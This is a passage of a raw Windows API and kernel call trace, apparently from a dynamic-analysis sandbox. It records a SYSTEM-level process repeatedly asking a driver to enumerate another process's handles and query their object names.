0x0 [0112.783] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.783] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0112.783] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0112.784] CloseHandle (hObject=0xc8) returned 1 [0112.784] CloseHandle (hObject=0xc0) returned 1 [0112.784] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.784] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0112.784] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.784] PsAcquireProcessExitSynchronization () returned 0x0 [0112.784] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.784] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003011f20, HandleInformation=0x0) returned 0x0 [0112.784] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.784] PsReleaseProcessExitSynchronization () returned 0x2 [0112.784] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.784] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590508) returned 0x0 [0112.784] ObfDereferenceObject (Object=0xfffffa8003011f20) returned 0x1 [0112.784] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.784] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0112.785] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.785] PsAcquireProcessExitSynchronization () returned 0x0 [0112.785] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.785] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a004ab7f60, HandleInformation=0x0) returned 0x0 [0112.785] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.785] PsReleaseProcessExitSynchronization () returned 0x2 [0112.785] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.785] ObQueryNameString (in: Object=0xfffff8a004ab7f60, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.785] ObfDereferenceObject (Object=0xfffff8a004ab7f60) returned 0x2 [0112.785] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.785] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0112.785] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.785] PsAcquireProcessExitSynchronization () returned 0x0 [0112.785] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.785] ObReferenceObjectByHandle (in: Handle=0xb4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80030564e0, HandleInformation=0x0) returned 0x0 [0112.785] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.785] PsReleaseProcessExitSynchronization () returned 0x2 [0112.785] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.785] ObQueryNameString (in: Object=0xfffffa80030564e0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.785] ObfDereferenceObject (Object=0xfffffa80030564e0) returned 0x2 [0112.785] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.785] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.785] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0112.786] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.786] PsAcquireProcessExitSynchronization () returned 0x0 [0112.786] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.786] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003097c00, HandleInformation=0x0) returned 0x0 [0112.786] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.786] PsReleaseProcessExitSynchronization () returned 0x2 [0112.786] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.786] ObQueryNameString (in: Object=0xfffffa8003097c00, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.786] ObfDereferenceObject (Object=0xfffffa8003097c00) returned 0x2 [0112.786] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.786] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.786] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.786] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.786] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.786] PsAcquireProcessExitSynchronization () returned 0x0 [0112.786] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.786] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0018a4c90, HandleInformation=0x0) returned 0x0 [0112.786] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.786] PsReleaseProcessExitSynchronization () returned 0x2 [0112.786] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.786] ObQueryNameString (in: Object=0xfffff8a0018a4c90, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.786] ObfDereferenceObject (Object=0xfffff8a0018a4c90) returned 0x1 [0112.786] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.786] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.786] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.786] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.786] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.787] PsAcquireProcessExitSynchronization () returned 0x0 [0112.787] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.787] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00181b820, HandleInformation=0x0) returned 0x0 [0112.787] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.787] PsReleaseProcessExitSynchronization () returned 0x2 [0112.787] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.787] ObQueryNameString (in: Object=0xfffff8a00181b820, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.787] ObfDereferenceObject (Object=0xfffff8a00181b820) returned 0x1 [0112.787] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.787] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.787] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0112.787] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.787] PsAcquireProcessExitSynchronization () returned 0x0 [0112.787] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.787] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003120a00, HandleInformation=0x0) returned 0x0 [0112.787] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.787] PsReleaseProcessExitSynchronization () returned 0x2 [0112.787] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.787] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0112.787] ObfDereferenceObject (Object=0xfffffa8003120a00) returned 0x1 [0112.787] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.787] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.787] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.787] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.787] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.787] PsAcquireProcessExitSynchronization () returned 0x0 [0112.787] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.787] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00170c890, HandleInformation=0x0) returned 0x0 [0112.787] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.787] PsReleaseProcessExitSynchronization () returned 0x2 [0112.787] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.788] ObQueryNameString (in: Object=0xfffff8a00170c890, ObjectNameInfo=0xfffffa80020da044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020da044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.788] ObfDereferenceObject (Object=0xfffff8a00170c890) returned 0x1 [0112.788] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.788] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.788] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.788] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.788] PsAcquireProcessExitSynchronization () returned 0x0 [0112.788] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.788] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001ef79f0, HandleInformation=0x0) returned 0x0 [0112.788] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.788] PsReleaseProcessExitSynchronization () returned 0x2 [0112.788] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.788] ObQueryNameString (in: Object=0xfffff8a001ef79f0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.788] ObfDereferenceObject (Object=0xfffff8a001ef79f0) returned 0x1 [0112.788] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.788] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.788] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.788] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.788] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.788] PsAcquireProcessExitSynchronization () returned 0x0 [0112.788] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.788] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089a6a30, HandleInformation=0x0) returned 0x0 [0112.788] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.788] PsReleaseProcessExitSynchronization () returned 0x2 [0112.788] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.789] ObQueryNameString (in: Object=0xfffff8a0089a6a30, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.789] ObfDereferenceObject (Object=0xfffff8a0089a6a30) returned 0x1 [0112.789] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.789] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.789] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.789] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.789] PsAcquireProcessExitSynchronization () returned 0x0 [0112.789] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.789] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089a64c0, HandleInformation=0x0) returned 0x0 [0112.789] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.789] PsReleaseProcessExitSynchronization () returned 0x2 [0112.789] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.789] ObQueryNameString (in: Object=0xfffff8a0089a64c0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.789] ObfDereferenceObject (Object=0xfffff8a0089a64c0) returned 0x1 [0112.789] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.789] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.789] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.789] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.789] PsAcquireProcessExitSynchronization () returned 0x0 [0112.789] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.789] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089ccd60, HandleInformation=0x0) returned 0x0 [0112.789] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.789] PsReleaseProcessExitSynchronization () returned 0x2 [0112.789] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.789] ObQueryNameString (in: Object=0xfffff8a0089ccd60, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.789] ObfDereferenceObject (Object=0xfffff8a0089ccd60) returned 0x1 [0112.789] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.789] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.789] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.789] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.790] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.790] PsAcquireProcessExitSynchronization () returned 0x0 [0112.790] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.790] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001207fc0, HandleInformation=0x0) returned 0x0 [0112.790] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.790] PsReleaseProcessExitSynchronization () returned 0x2 [0112.790] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.790] ObQueryNameString (in: Object=0xfffff8a001207fc0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.790] ObfDereferenceObject (Object=0xfffff8a001207fc0) returned 0x1 [0112.790] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.790] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.790] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.790] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.790] PsAcquireProcessExitSynchronization () returned 0x0 [0112.790] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.790] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001651610, HandleInformation=0x0) returned 0x0 [0112.790] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.790] PsReleaseProcessExitSynchronization () returned 0x2 [0112.790] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.790] ObQueryNameString (in: Object=0xfffff8a001651610, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0112.790] ObfDereferenceObject (Object=0xfffff8a001651610) returned 0x1 [0112.790] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0112.790] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0112.790] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0112.790] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0112.790] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0112.790] PsAcquireProcessExitSynchronization () returned 0x0 [0112.790] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880055905d0) [0112.790] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001201570, HandleInformation=0x0) returned 0x0 [0112.790] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0112.790] PsReleaseProcessExitSynchronization () returned 0x2 [0112.790] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x13a [0112.790] ObQueryNameString (in: Object=0xfffff8a001201570, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0112.791] ObfDereferenceObject (Object=0xfffff8a001201570) returned 0x1 [0112.791] IofCompleteRequest (Irp=0xfffffa800211c1b0, 